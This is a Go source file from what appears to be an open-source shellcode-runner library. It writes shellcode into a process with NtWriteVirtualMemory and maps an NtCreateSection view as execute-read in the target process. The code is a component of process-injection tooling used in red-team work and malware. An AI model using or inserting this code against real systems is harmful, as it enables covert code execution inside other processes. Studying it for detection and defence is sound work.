-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathwritemethod_windows.go
52 lines (42 loc) · 992 Bytes
/
writemethod_windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//go:build windows
package runsc
import (
"golang.org/x/sys/windows"
"github.com/mjwhitta/errors"
w32 "github.com/mjwhitta/win/api"
)
// Consts for supported copy methods.
const (
NtWriteVirtualMemory WriteMethod = iota + 1
)
var writeMethods map[WriteMethod]wFunc = map[WriteMethod]wFunc{
NtWriteVirtualMemory: writeMem,
}
func writeMem(s *state, sc []byte) (*state, error) {
var e error
var pHndl windows.Handle = s.proc
switch s.l.alloc {
case NtCreateSection:
pHndl = windows.CurrentProcess()
}
if e = w32.NtWriteVirtualMemory(pHndl, s.addr, sc); e != nil {
e = errors.Newf("failed to write shellcode: %w", e)
return nil, e
}
switch s.l.alloc {
case NtCreateSection:
// Create RX view
s.addr, e = w32.NtMapViewOfSection(
s.section,
s.proc,
uint64(s.sz),
w32.Accctrl.SubContainersOnlyInherit,
w32.Winnt.PageExecuteRead,
)
if e != nil {
e = errors.Newf("failed to access memory as RX: %w", e)
return nil, e
}
}
return s, nil
}